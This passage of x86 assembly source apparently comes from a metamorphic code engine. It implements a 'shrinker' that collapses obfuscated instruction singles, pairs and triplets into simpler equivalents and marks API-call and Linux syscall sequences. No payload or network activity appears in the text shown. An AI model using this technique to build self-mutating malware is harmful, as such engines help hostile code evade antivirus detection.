;;                                                (Jcc & 0FEh) with (Jcc | 1)
;;   NOT Reg / NEG Reg                       --> ADD Reg,1
;;   NOT Reg / ADD Reg,1                     --> NEG Reg
;;   NOT Mem / NEG Mem                       --> ADD Mem,1
;;   NOT Mem / ADD Mem,1                     --> NEG Mem
;;   NEG Reg / NOT Reg                       --> ADD Reg,-1
;;   NEG Reg / ADD Reg,-1                    --> NOT Reg
;;   NEG Mem / NOT Mem                       --> ADD Mem,-1
;;   NEG Mem / ADD Mem,-1                    --> NOT Mem
;;   CMP X,Y / != Jcc (CMP without Jcc)      --> NOP
;;   TEST X,Y / != Jcc                       --> NOP
;;   POP Mem / JMP Mem                       --> RET
;;   PUSH Reg / RET                          --> JMP Reg
;;   CALL Mem / MOV Mem2,EAX                 --> CALL Mem / APICALL_STORE Mem2
;;   MOV Reg,Mem / CALL Reg                  --> CALL Mem
;;   XOR Reg,Reg / MOV Reg8,[Mem]            --> MOVZX Reg,byte ptr [Mem]
;;   MOV Reg,[Mem] / AND Reg,0FFh            --> MOVZX Reg,byte ptr [Mem]
;;
;;
;; Maybe there are more, but this set is sufficient, at least for our
;; proposits. What we do know is scan the code for this situations and then we
;; substitute the first instruction by their equivalent and we overwrite with
;; NOP the second, so the instructions are compressed.
;;
;; But there are more: the triplets:
;;
;;   MOV Mem,Reg
;;   OP Mem,Reg2
;;   MOV Reg,Mem                     --> OP Reg,Reg2
;;
;;   MOV Mem,Reg
;;   OP Mem,Imm
;;   MOV Reg,Mem                     --> OP Reg,Imm
;;
;;   MOV Mem,Imm
;;   OP Mem,Reg
;;   MOV Reg,Mem                     --> OP Reg,Imm (it can't be SUB)
;;
;;   MOV Mem2,Mem
;;   OP Mem2,Reg
;;   MOV Mem,Mem2                    --> OP Mem,Reg
;;
;;   MOV Mem2,Mem
;;   OP Mem2,Imm
;;   MOV Mem,Mem2                    --> OP Mem,Imm
;;
;;   CMP Reg,Reg
;;   JO/JB/JNZ/JA/JS/JNP/JL/JG @xxx
;;   != Jcc                          --> NOP
;;
;;   CMP Reg,Reg
;;   JNO/JAE/JZ/JBE/JNS/JP/JGE/JLE @xxx
;;   != Jcc                          --> JMP @xxx
;;
;;   MOV Mem,Imm
;;   CMP/TEST Reg,Mem
;;   Jcc @xxx                        --> CMP/TEST Reg,Imm
;;                                       Jcc @xxx
;;   MOV Mem,Reg
;;   SUB/CMP Mem,Reg2
;;   Jcc @xxx                        --> CMP Reg,Reg2
;;                                       Jcc @xxx
;;   MOV Mem,Reg
;;   AND/TEST Mem,Reg2
;;   Jcc @xxx                        --> TEST Reg,Reg2
;;                                       Jcc @xxx
;;   MOV Mem,Reg
;;   SUB/CMP Mem,Imm
;;   Jcc @xxx                        --> CMP Reg,Imm
;;                                       Jcc @xxx
;;   MOV Mem,Reg
;;   AND/TEST Mem,Imm
;;   Jcc @xxx                        --> TEST Reg,Imm
;;                                       Jcc @xxx
;;   MOV Mem2,Mem
;;   CMP/TEST Reg,Mem2
;;   Jcc @xxx                        --> CMP/TEST Reg,Mem
;;                                       Jcc @xxx
;;   MOV Mem2,Mem
;;   AND/TEST Mem2,Reg
;;   Jcc @xxx                        --> TEST Mem,Reg
;;                                       Jcc @xxx
;;   MOV Mem2,Mem
;;   SUB/CMP Mem2,Reg
;;   Jcc @xxx                        --> CMP Mem,Reg
;;                                       Jcc @xxx
;;   MOV Mem2,Mem
;;   AND/TEST Mem2,Imm
;;   Jcc @xxx                        --> TEST Mem,Imm
;;                                       Jcc @xxx
;;   MOV Mem2,Mem
;;   SUB/CMP Mem2,Imm
;;   Jcc @xxx                        --> CMP Mem,Imm
;;                                       Jcc @xxx
;;   PUSH EAX
;;   PUSH ECX
;;   PUSH EDX                        --> APICALL_BEGIN
;;
;;   POP EDX
;;   POP ECX
;;   POP EAX                         --> APICALL_END
;;
;;   POP EDX
;;   POP ECX
;;   POP EBX
;;   POP EAX                         --> LINUX_GETPARAMS
;;

;;----------------------------------------------------------------------------
;;
;; ShrinkCode acts over the disassembled buffer in [InstructionTable].
;;
ShrinkCode      proc
                mov     edi, [ebp+InstructionTable]
                mov     eax, [edi]
                and     eax, 0FFh   ; Get pseudo-opcode
                call    CheckIfInstructionUsesMem ; Uses a memory address?
                or      eax, eax
                jz    @@Shrink      ; If not, continue
                call    OrderRegs   ; Order the indexes of the instruction
                                    ; from lower to upper
    @@Shrink:   mov     eax, [edi]
                and     eax, 0FFh   ; Get pseudo-op
                cmp     eax, 0FFh   ; Is it NOP?
                jz    @@IncreaseEIP ; If so, increase pointer
                call    ShrinkThisInstructions ; Check for singles, pairs or
                                               ; triplets
                or      eax, eax    ; Do we performed a compression?
                jz    @@IncreaseEIP ; If we don't, increase pointer
                call    DecreaseEIP ; Decrease the pointer three instructions
                call    DecreaseEIP ; to get a possible matching group with
                call    DecreaseEIP ; the two above.
                jmp   @@Shrink      ; Check again

    @@IncreaseEIP:
                call    IncreaseEIP                         ; Increase pointer
                cmp     edi, [ebp+AddressOfLastInstruction] ; Last instruction?
                jnz   @@Shrink                       ; If not, check next group

    @@DecreaseAddressOfLastInstruction:
                sub     edi, 10h        ; Now we eliminate the remaining NOPs
                mov     eax, [edi]      ; at the end of all the instructions.
                and     eax, 0FFh
                cmp     eax, 0FFh
                jnz   @@LastInstructionOK
                mov     [ebp+AddressOfLastInstruction], edi
                jmp   @@DecreaseAddressOfLastInstruction
    @@LastInstructionOK:

    ;; Second pass to find APICALL_BEGIN, APICALL_END, SET_WEIGHT and
    ;; LINUX_GETPARAMS
                mov     edi, [ebp+InstructionTable]

    @@FindAPICALL_X:
    @@GetFirstInstruction:
                call    IncreaseEIP2 ; Increase pointer
                cmp     eax, -1      ; End of instruction table?
                jz    @@EndOfScan    ; If so, finish the search

                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 0FDh
                jnz   @@Check_SET_WEIGHT
                push    edi
                mov     esi, edi
                call    IncreaseEIP2
                or      eax, eax
                jnz   @@ItsNot_LINUX_SYSCALL
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 43h
                jnz   @@ItsNot_LINUX_SYSCALL
                mov     al, [edi+7]
                or      eax, eax
                jnz   @@ItsNot_LINUX_SYSCALL
                mov     eax, 0FBh
                mov     [esi], eax
                mov     eax, [edi+1]
                mov     [esi+1], eax
                mov     eax, [edi+3]
                mov     [esi+3], eax
                mov     eax, 0FFh
                mov     [edi], eax
                pop     esi
                jmp   @@FindAPICALL_X
                
      @@Check_SET_WEIGHT:
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 50h
                jnz   @@ItsNot_SET_WEIGHT
                push    edi
                mov     esi, edi

                call    IncreaseEIP2
                or      eax, eax
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 40h
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     edx, edi

                call    IncreaseEIP2
                or      eax, eax
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 40h
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     ecx, edi

                call    IncreaseEIP2
                or      eax, eax
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 43h
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     ebx, edi

                call    IncreaseEIP2
                or      eax, eax
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 58h
                jnz   @@ItsNot_SET_WEIGHT_2

                mov     eax, [esi+1]
                and     eax, 0FFh
                mov     esi, eax
                mov     eax, [edx+1]
                and     eax, 0FFh
                cmp     eax, esi
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     eax, [edi+1]
                and     eax, 0FFh
                cmp     eax, esi
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     esi, [ecx+1]
                and     esi, 0FFh
                mov     eax, [ebx+7]
                and     eax, 0FFh
                cmp     eax, esi
                jnz   @@ItsNot_SET_WEIGHT_2
                pop     esi
                mov     eax, 0F7h          ; SET_WEIGHT
                mov     [esi], al
                mov     eax, [esi+1]
                mov     [esi+9], al
                mov     eax, [ebx+1]
                mov     [esi+1], eax
                mov     eax, [ebx+3]
                mov     [esi+3], eax
                mov     eax, [edx+7]
                mov     [esi+7], al
                mov     eax, [ecx+1]
                mov     [esi+8], al
                mov     eax, 0FFh
                mov     [edx], eax
                mov     [ecx], eax
                mov     [ebx], eax
                mov     [edi], eax
                ; jmp   @@AllOK
                jmp   @@FindAPICALL_X
        @@ItsNot_SET_WEIGHT_2:
        @@ItsNot_LINUX_SYSCALL:
                pop     edi
        @@ItsNot_SET_WEIGHT:
        @@AllOK:


    @@CheckAPICALL_X:

                mov     edx, edi     ; Save pointer in EDX
                push    edi

    @@GetSecondInstruction:
                call    IncreaseEIP2 ; Get next
                cmp     eax, -1      ; End of code?
                jz    @@EndOfScan    ; Finish, then
                or      eax, eax     ; Label over the instruction?
                jnz   @@EndOfTriplet ; If there's label, ignore the group
                mov     esi, edi     ; Put pointer in ESI

    @@GetThirdInstruction:
                call    IncreaseEIP2 ; Do the same: increase pointer and check
                cmp     eax, -1      ; for end of code or a label over the
                jz    @@EndOfScan    ; instruction
                or      eax, eax
                jnz   @@EndOfTriplet

                mov     eax, [edx]   ; Get the first instruction
                and     eax, 0FFh
                cmp     eax, 50h     ; PUSH Reg?
                jnz   @@FindAPICALL_END ; If not, check next instruction
                mov     eax, [esi]   ; Get the second instruction
                and     eax, 0FFh
                cmp     eax, 50h     ; PUSH Reg?
                jnz   @@FindAPICALL_END ; If not, next instruction
                mov     eax, [edi]   ; Get the third instruction
                and     eax, 0FFh
                cmp     eax, 50h     ; PUSH Reg?
                jnz   @@FindAPICALL_END ; If not, next instruction
                mov     eax, [edx+1]
                and     eax, 0FFh
                or      eax, eax     ; First instruction is PUSH EAX?
                jnz   @@FindAPICALL_END ; If it isn't, it's not APICALL_*
                mov     eax, [esi+1]
                and     eax, 0FFh
                cmp     eax, 1       ; Is it PUSH ECX?
                jnz   @@FindAPICALL_END ; If not, check other
                mov     eax, [edi+1]
                and     eax, 0FFh
                cmp     eax, 2       ; Is it PUSH EDX
                jnz   @@FindAPICALL_END ; If not, check other
                mov     eax, 0F4h    ; APICALL_BEGIN
      @@SetAPICALL_X:
                mov     [edx], eax   ; Set instruction
                mov     eax, 0FFh
                mov     [esi], eax   ; NOP the second and third instruction
                mov     [edi], eax
                jmp   @@EndOfTriplet ; Check next group

      @@FindAPICALL_END:
                mov     eax, [edx]   ; Get the first instruction
                and     eax, 0FFh
                cmp     eax, 58h     ; POP Reg?
                jnz   @@EndOfTriplet ; If not, next group
                mov     eax, [esi]   ; Check the second instruction
                and     eax, 0FFh
                cmp     eax, 58h     ; POP Reg?
                jnz   @@EndOfTriplet ; If not, next group
                mov     eax, [edi]   ; Get the third instruction
                and     eax, 0FFh
                cmp     eax, 58h     ; POP Reg?
                jnz   @@EndOfTriplet ; If not, next group

                mov     ecx, edi       ; Check LINUX_GETPARAMS
                call    IncreaseEIP2
                cmp     eax, -1
                jz    @@EndOfScan
                or      eax, eax
                jnz   @@CheckAPICALL_END
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 58h
                jnz   @@CheckAPICALL_END
                mov     eax, [edx+1]
                and     eax, 0FFh
                cmp     eax, 2
                jnz   @@CheckAPICALL_END
                mov     eax, [esi+1]
                and     eax, 0FFh
                cmp     eax, 1
                jnz   @@CheckAPICALL_END
                mov     eax, [ecx+1]
                and     eax, 0FFh
                cmp     eax, 3
                jnz   @@CheckAPICALL_END
                mov     eax, [edi+1]
                and     eax, 0FFh
                or      eax, eax
                jnz   @@CheckAPICALL_END
                mov     eax, 0FFh
                mov     [ecx], eax
                mov     eax, 0FAh     ; Set LINUX_GETPARAMS
                jmp   @@SetAPICALL_X


     @@CheckAPICALL_END:
                mov     edi, ecx
                mov     eax, [edx+1]
                and     eax, 0FFh
                cmp     eax, 2       ; First instruction = POP EDX?
                jnz   @@EndOfTriplet ; If not, check next group
                mov     eax, [esi+1]
                and     eax, 0FFh
                cmp     eax, 1       ; Second instruction = POP ECX?
                jnz   @@EndOfTriplet ; If not, check next group
                mov     eax, [ecx+1]
                and     eax, 0FFh
                or      eax, eax     ; Third instruction = POP EAX?
                jnz   @@EndOfTriplet ; If not, check next group
                mov     eax, 0F5h    ; Set APICALL_END
                jmp   @@SetAPICALL_X

      @@EndOfTriplet:
                pop     edi          ; Restore pointer and check next triplet
                jmp   @@FindAPICALL_X

      @@EndOfScan:
                pop     edi
                ret
ShrinkCode      endp

;; Function used while we scan for APICALL_BEGIN and APICALL_END
IncreaseEIP2    proc
                cmp     edi, [ebp+AddressOfLastInstruction]
                jz    @@EndOfScan
                add     edi, 10h             ; Increase instruction pointer
                cmp     edi, [ebp+AddressOfLastInstruction]
                jz    @@EndOfScan     ; If we finished the code, return -1
                mov     eax, [edi]    ; Get the instruction
                and     eax, 0FFh
                cmp     eax, 0FFh     ; If it's NOP, increase again
                jz      IncreaseEIP2
                mov     eax, [edi+0Bh] ; Get the label flag
                and     eax, 0FFh      ; Return 1 if the instruction has a
                ret        ; label pointing to it or 0 if it doesn't have it
      @@EndOfScan:
                mov     eax, -1
                ret
IncreaseEIP2    endp

;; Function that decreases the instruction pointer. It will decrease while
;; the instruction is NOP, unless it's the first or it's labelled.
DecreaseEIP     proc
     @@Again:   cmp     edi, [ebp+InstructionTable] ; if we are just at the
                jz    @@OK                          ; beginning, return
                mov     eax, [edi+0Bh]    ; Check label
                and     eax, 0FFh   ; If the current instruction is labelled,
                or      eax, eax    ; finish the decreasing
                jnz   @@OK
                sub     edi, 10h    ; Decrease the pointer
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 0FFh   ; Is it NOP?
                jz    @@Again       ; If it is, decrease again
        @@OK:   ret
DecreaseEIP     endp

;; Function that increases the instruction pointer. It will increase until
;; the current instruction isn't NOP or it's the last instruction of the code.
IncreaseEIP     proc
                mov     ecx, [ebp+AddressOfLastInstruction]
                cmp     edi, ecx      ; Pointing to last instruction?
                jz    @@_End          ; If so, end
       @@Again: add     edi, 10h      ; Check next
                cmp     edi, ecx      ; Last instruction?
                jz    @@_End          ; If so, end
                mov     eax, [edi+0Bh] ; Check if it's labelled
                and     eax, 0FFh
                or      eax, eax      ; If it's labelled, end increasing
                jnz   @@End
                mov     eax, [edi]    ; Get instruction
                and     eax, 0FFh
                cmp     eax, 0FFh     ; If it's NOP, increase again
                jz    @@Again
        @@End:  mov     eax, [edi]
                and     eax, 0FFh     ; Check if the instruction uses a
                call    CheckIfInstructionUsesMem     ; memory address
                or      eax, eax
                jz    @@_End
                call    OrderRegs  ; If it uses a memory address, order the
                                   ; indexes
                mov     eax, [edi] ; Check if the instruction is MOV Mem,Mem
                and     eax, 0FFh
                cmp     eax, 4Fh
                jnz   @@_End
                push    edi        ; If it's MOV Mem,Mem, order the indexes
                mov     edi, [edi+7] ; of the extended part
                call    OrderRegs
                pop     edi
        @@_End: ret
IncreaseEIP     endp

;; Function to order the indexes in an instruction that uses a memory address.
;; If it has a single index, it's set at +1 (since the disassembler maybe put
;; it at +2 and set a 8 value in +1). If it has a multiplicator, just leave
;; it at +2 (by specifications). If the instruction has two indexes with no
;; multiplicators, put the lower one at +1 and other at +2. In case that the
;; one at +2 has a multiplicator, the indexes are unexchanged.
OrderRegs       proc
                push    edx
                mov     eax, [edi+1]   ; Check the index
                and     eax, 0FFh
                cmp     eax, 8         ; If it doesn't exists, check the
                jnz   @@_Next          ; second index
                mov     eax, [edi+2]   ; Get the second index
                and     eax, 0FFh
                cmp     eax, 7         ; If it has a scalar modification (*2,
                ja    @@_End           ; *4 or *8) just leave it.
                ; At this point, +1 is free and +2 holds an index
                mov     edx, [edi+1]   ; Put the index at +1
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi+1], eax
                mov     eax, [edi+2]   ; Free the position at +2
                and     eax, 0FFFFFF00h
                add     eax, 8
                mov     [edi+2], eax
        @@_End: pop     edx            ; Return
                ret
                ; At this point, we put the lowest at +1. +1 is sure to hold
                ; a register, so +2 holds another one, 8 (no one) or one with
                ; multiplicator. In all cases, we can check for the lowest
                ; number and put it at +1 and we are ordering them (since a
                ; free position at +2 would be 8, which is always > [+1] or
                ; would use a scalar, so it would be >= 40h)
       @@_Next: mov     eax, [edi+2]   ; Get the two indexes
                mov     edx, [edi+1]
                and     eax, 0FFh
                and     edx, 0FFh
                cmp     eax, edx    ; If EAX > EDX, they are already ordered
                ja    @@_End
                push    eax
                mov     edx, [edi+2]  ; Get the lowest at +2 in EDX
                mov     eax, [edi+1]  ; Get the highest at +1 in EAX
                and     eax, 0FFh
                and     edx, 0FFFFFF00h
                add     eax, edx        ; Combine the data
                mov     [edi+2], eax    ; Set the register at +2
                pop     eax
                mov     edx, [edi+1]    ; Get the DWORD at +1 (keep all info)
                and     edx, 0FFFFFF00h
                add     eax, edx        ; Merge it with the lowest register
                mov     [edi+1], eax    ; Set it at +1
                pop     edx
                ret                ; Return with the indexes ordered
OrderRegs       endp

; EDI = Instruction pointer
; ECX = Address of last instruction
; returns:
; EAX != 0 if compressed, EAX = 0 if left unchanged
ShrinkThisInstructions proc
;;; Single instructions. The instructions are converted to their equivalent
;;; from the obfuscated form. In this way we also make easier the search of
;;; pairs and triplets.
                push    edi
      @@Check_Single:
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 30h      ; Check XOR Reg,Imm
                jnz   @@Single_Next00
                mov     ecx, 0E0h     ; Maybe it's NOT Reg
      @@Single_Next_CommonXOR_s1:
                mov     eax, [edi+7]  ; Get the Imm
        @@Single_Next_CommonXOR_s1_2:
                cmp     eax, -1       ; Check if it's -1
                jz    @@Single_SetInstructionECX ; If it is, set opcode <ECX>
        @@Single_Next_CheckNulOP:
                or      eax, eax      ; Check if it's XOR with 0
                jnz   @@Single_End
                jmp   @@Single_SetNOP ; If it's 0, set a NOP
        @@Single_SetInstructionECX:
                mov     eax, ecx      ; Set the opcode in <ECX>
                jmp   @@Single_SetInstruction

      @@Single_Next00:
                ;mov     al, [edi]
                cmp     eax, 34h       ; Check XOR Mem,Imm
                jnz   @@Single_Next00_
                mov     ecx, 0E1h      ; Set NOT Mem if Imm == -1
                jmp   @@Single_Next_CommonXOR_s1

      @@Single_Next00_:
                cmp     eax, 4Bh       ; Check TEST Mem,Reg
                jnz   @@Single_Next00__
                mov     eax, 4Ah       ; If it is, set TEST Reg,Mem (the other
                jmp   @@Single_SetInstruction ; possibility doesn't exist)

      @@Single_Next00__:
                cmp     eax, 4Bh+80h  ; Check TEST Mem,Reg (8 bits)
                jnz   @@Single_Next01
                mov     eax, 4Ah+80h  ; It it is, set TEST Reg,Mem (8 bits)
                jmp   @@Single_SetInstruction

      @@Single_Next01:
                ;mov     al, [edi]
                cmp     eax, 30h+80h   ; XOR Reg8,Imm8?
                jnz   @@Single_Next02
                mov     ecx, 0E2h      ; Set NOT if Imm8 == -1
        @@Single_Next01_GetSigned:
                mov     eax, [edi+7]
                and     eax, 0FFh
                cmp     eax, 80h
                jb    @@Single_Next01_NotSigned
                add     eax, 0FFFFFF00h
        @@Single_Next01_NotSigned:
                jmp   @@Single_Next_CommonXOR_s1_2

      @@Single_Next02:
                ;mov     al, [edi]
                cmp     eax, 34h+80h   ; XOR Mem8,Imm8?
                jnz   @@Single_Next03
                mov     ecx, 0E3h      ; Set NOT if Imm8 == -1
                jmp   @@Single_Next01_GetSigned

      @@Single_Next03:
                ;mov     al, [edi]
                cmp     eax, 41h        ; MOV Reg,Reg?
                jnz   @@Single_Next04
        @@Single_Next_CommonMOV:
                mov     eax, [edi+1]    ; Check if source and destiny are
                mov     ecx, [edi+7]    ; the same
                and     eax, 0FFh
                and     ecx, 0FFh
                cmp     eax, ecx        ; If they are, set NOP
                jnz   @@Single_End
      @@Single_SetNOP:
                mov     eax, 0FFh
      @@Single_SetInstruction:
                mov     ecx, [edi]      ; Get the DWORD at [EDI]
                and     ecx, 0FFFFFF00h
                and     eax, 0FFh       ; Set 0FF on the lower byte (set NOP)
                add     eax, ecx
                mov     [edi], eax      ; Write back the DWORD
                jmp   @@EndCompressed

      @@Single_Next04:
                ;mov     al, [edi]
                cmp     eax, 41h+80h   ; MOV Reg8,Reg8?
                jz    @@Single_Next_CommonMOV

      @@Single_Next05:
                ;mov     al, [edi]
                cmp     eax, 28h        ; SUB Reg,Imm?
                jnz   @@Single_Next06
                xor     ecx, ecx        ; Just put ADD
      @@Single_Next_NegateImm:
                mov     eax, [edi+7]    ; Negate the Imm
                neg     eax
                mov     [edi+7], eax
                jmp   @@Single_SetInstructionECX ; Set the opcode of ADD

      @@Single_Next06:
                ;mov     al, [edi]
                cmp     eax, 28h+80h   ; SUB Reg8,Imm8?
                jnz   @@Single_Next07
                mov     ecx, 00h+80h   ; Set the opcode of ADD Reg8,Imm8
                jmp   @@Single_Next_NegateImm ; Jump to negate the Imm

      @@Single_Next07:
                ;mov     al, [edi]
                cmp     eax, 2Ch       ; SUB Mem,Imm?
                jnz   @@Single_Next08
                mov     ecx, 04h       ; Set ADD Mem,-Imm
                jmp   @@Single_Next_NegateImm

      @@Single_Next08:
                ;mov     al, [edi]
                cmp     eax, 2Ch+80h   ; SUB Mem8,Imm8?
                jnz   @@Single_Next09
                mov     ecx, 04h+80h   ; Set ADD Mem8,-Imm8
                jmp   @@Single_Next_NegateImm

      @@Single_Next09:
                ;mov     al, [edi]
                or      eax, eax       ; ADD Reg,Imm?
                jnz   @@Single_Next10
        @@Single_Next_CheckNulOP_2:
                mov     eax, [edi+7]   ; Check if it's ADD Reg,0. If it is,
                jmp   @@Single_Next_CheckNulOP  ; anulate the instruction

      @@Single_Next10:
                cmp     eax, 4                      ; ADD Mem,Imm?
                jz    @@Single_Next_CheckNulOP_2 ; If it is, check for Imm==0
                cmp     eax, 04h+80h                ; ADD Mem8,Imm8?
                jz    @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0
                cmp     eax, 0Ch                    ; OR Mem,Imm?
                jz    @@Single_Next_CheckNulOP_2    ; Check for Imm == 0
                cmp     eax, 0Ch+80h                ; OR Mem8,Imm8?
                jz    @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0
                cmp     eax, 24h+80h               ; AND Mem8,Imm8?
                jz    @@Single_Next10_Check_s1_8b  ; Check for Imm8 == -1 or 0
                cmp     eax, 24h                   ; AND Mem,Imm?
                jnz   @@Single_Next10_             ; Check for Imm == -1 or 0
        @@Single_Next10_Check_s1:
                mov     eax, [edi+7]   ; Get Imm
                cmp     eax, -1
                jz    @@Single_SetNOP  ; If Imm == -1, set NOP
                or      eax, eax
                jnz   @@Single_End     ; If Imm == 0,
                mov     eax, 44h       ;  set MOV Mem,0
                jmp   @@Single_SetInstruction
        @@Single_Next10_Check_s1_8b:
                mov     eax, [edi+7]
                and     eax, 0FFh
                cmp     eax, 0FFh     ; Check if Imm8 == -1
                jz    @@Single_SetNOP ; If it is, set NOP
                or      eax, eax      ; Check if Imm8 == 0
                jnz   @@Single_End    ; If it isn't, check doubles
                mov     eax, 44h+80h  ; Set MOV Mem8,0
                jmp   @@Single_SetInstruction


      @@Single_Next10_:
                ;mov     al, [edi]
                cmp     eax, 00h+80h   ; ADD Reg8,Imm8?
                jnz   @@Single_Next11
        @@Single_Next_CheckNulOP_2_8b:
                ;xor     eax, eax
                mov     eax, [edi+7]   ; Get the Imm and go to check if it's 0
                and     eax, 0FFh
                jmp   @@Single_Next_CheckNulOP

      @@Single_Next11:
                ;mov     al, [edi]
                cmp     eax, 08h       ; OR Reg,Imm?
                jz    @@Single_Next_CheckNulOP_2  ; Check if Imm is 0

      @@Single_Next12:
                ;mov     al, [edi]
                cmp     eax, 08h+80h   ; OR Reg8,Imm8?
                jz    @@Single_Next_CheckNulOP_2_8b  ; Check if is 0

      @@Single_Next13:
                ;mov     al, [edi]
                cmp     eax, 20h       ; AND Reg,Imm?
                jnz   @@Single_Next14
                mov     eax, [edi+7]   ; Check if Imm == -1
                cmp     eax, -1
                jz    @@Single_SetNOP  ; If it is, set NOP
                or      eax, eax
                jnz   @@Single_End
                mov     eax, 40h       ; If it's 0, set MOV Reg,0
                jmp   @@Single_SetInstruction

      @@Single_Next14:
                ;mov     al, [edi]
                cmp     eax, 20h+80h   ; AND Reg8,Imm8?
                jnz   @@Single_Next15
                mov     eax, [edi+7]   ; Get Imm8
                and     eax, 0FFh
                cmp     eax, 0FFh      ; Check if it's -1
                jz    @@Single_SetNOP  ; If it is, set NOP
                or      eax, eax
                jnz   @@Single_End     ; Check if it's 0
                mov     eax, 40h+80h   ; If it is, set MOV Reg,0
                jmp   @@Single_SetInstruction

      @@Single_Next15:
                ;mov     al, [edi]
                cmp     eax, 31h       ; XOR Reg,Reg?
                jnz   @@Single_Next16
      @@Single_Next_CheckSetTo0:
                mov     ecx, 40h       ; Set ECX = pseudoopcode of MOV
      @@Single_Next_CheckSetTo0_2:
                mov     eax, [edi+1]   ; Check if source == destiny
                mov     ebx, [edi+7]
                and     eax, 0FFh
                and     ebx, 0FFh
                cmp     eax, ebx       ; If they are equal...
                jnz   @@Single_End     ; ...
                xor     eax, eax       ; ...set MOV Reg,0
                mov     [edi+7], eax
                jmp   @@Single_SetInstructionECX

      @@Single_Next16:
                ;mov     al, [edi]
                cmp     eax, 31h+80h   ; XOR Reg8,Reg8?
                jnz   @@Single_Next17
      @@Single_Next_CheckSetTo0_8b:
                mov     ecx, 40h+80h   ; Check if source == destiny and put
                jmp   @@Single_Next_CheckSetTo0_2 ; MOV Reg8,0 if they are
                                                  ; equal
      @@Single_Next17:
                ;mov     al, [edi]
                cmp     eax, 29h       ; SUB Reg,Reg?
                jz    @@Single_Next_CheckSetTo0 ; Check in the same way as
                                                ; XOR Reg,Reg
      @@Single_Next18:
                ;mov     al, [edi]
                cmp     eax, 29h+80h   ; SUB Reg8,Reg8?
                jz    @@Single_Next_CheckSetTo0_8b  ; Check if src == dest, to
                                                    ; see if we put MOV Reg8,0

      @@Single_Next19:
                ;mov     al, [edi]
                cmp     eax, 09h       ; OR Reg,Reg?
                jnz   @@Single_Next20
      @@Single_Next_CheckCheckIf0:
                mov     ecx, 38h       ; Put CMP Reg,0 if src == dest
                jmp   @@Single_Next_CheckSetTo0_2

      @@Single_Next20:
                ;mov     al, [edi]
                cmp     eax, 09h+80h   ; OR Reg8,Reg8?
                jnz   @@Single_Next21
      @@Single_Next_CheckCheckIf0_8b:
                mov     ecx, 38h+80h   ; Put CMP Reg8,0 if src == dest
                jmp   @@Single_Next_CheckSetTo0_2

      @@Single_Next21:
                ;mov     al, [edi]
                cmp     eax, 21h       ; AND Reg,Reg?
                jz    @@Single_Next_CheckCheckIf0

      @@Single_Next22:
                ;mov     al, [edi]
                cmp     eax, 21h+80h   ; AND Reg8,Reg8?
                jz    @@Single_Next_CheckCheckIf0_8b

      @@Single_Next23:
                ;mov     al, [edi]
                cmp     eax, 49h       ; TEST Reg,Reg?
                jz    @@Single_Next_CheckCheckIf0

      @@Single_Next24:
                ;mov     al, [edi]
                cmp     eax, 49h+80h   ; TEST Reg8,Reg8?
                jz    @@Single_Next_CheckCheckIf0_8b

      @@Single_Next25:
                ;mov     al, [edi]
                cmp     eax, 0FCh      ; LEA Reg,[Mem]?
                jnz   @@Single_Next26
                mov     eax, [edi+2]   ; Check second index
                and     eax, 0FFh
                cmp     eax, 40h       ; If it has a multiplicator, it's not
                jae   @@Single_Next26  ; interesting
                mov     eax, [edi+1]   ; Now +1 holds the first index (and if
                and     eax, 0FFh      ; there aren't multiplicators, this
                cmp     eax, 8         ; must be < 8 if there is an index)
                jz    @@Single_Next_LEA_CheckMOV ; If 8, there aren't indexes
                mov     ecx, [edi+7]
                and     ecx, 0FFh      ; ECX = Destiny register
                cmp     eax, ecx       ; Are they equal?
                jz    @@Single_Next_LEA_CheckADD ; If so, check ADD
                mov     eax, [edi+2]   ; Get the second index
                and     eax, 0FFh      ; Is there anyone?
                cmp     eax, 8
                jz    @@Single_Next_LEA_CheckMOVRegReg ; If not, check MOV
                cmp     eax, ecx                  ; Is equal to the destiny?
                jz    @@Single_Next_LEA_CheckADDRegReg2 ; If so, check ADD
                mov     ecx, [edi+1]   ; Get the first index
                and     ecx, 0FFh
                cmp     eax, ecx       ; If it's not equal to the second,
                jnz   @@Single_End     ; finish singles conversion
                mov     eax, 8         ; Set the first index as 8
                mov     ecx, [edi+1]
                and     ecx, 0FFFFFF00h
                add     eax, ecx
                mov     [edi+1], eax
                mov     eax, [edi+2]
                add     eax, 40h       ; Set LEA Reg,[2*Reg]
                mov     [edi+2], eax
                jmp   @@EndCompressed  ; End with compression flag
        @@Single_Next_LEA_CheckADDRegReg2:
                mov     eax, [edi+3]   ; Get the immediate
                or      eax, eax       ; If it's 0, set ADD Reg,Reg
                jz    @@Single_Next_LEA_SetADDRegReg_2 ; If not, leave LEA
                jmp   @@Single_End
        @@Single_Next_LEA_CheckMOV:
                mov     eax, [edi+2]   ; It DOESN'T hold anything more than
                and     eax, 0FFh      ; 8, but just in case
                cmp     eax, 8
                jz    @@Single_Next_LEA_SetMOV ; If 8, set MOV Reg,Imm
                mov     ecx, [edi+7]   ; Get the destiny
                and     ecx, 0FFh
                cmp     eax, ecx       ; If destiny == index, set ADD
                jz    @@Single_Next_LEA_SetADD_2
                mov     eax, [edi+3]   ; Get the Immediate
                or      eax, eax       ; If it isn't 0, end
                jnz   @@Single_End
        @@Single_Next_LEA_SetMOVRegReg_2:
                mov     eax, [edi+2]   ; Set MOV Reg,Reg (from LEA Reg,[Reg])
                mov     ecx, [edi+1]
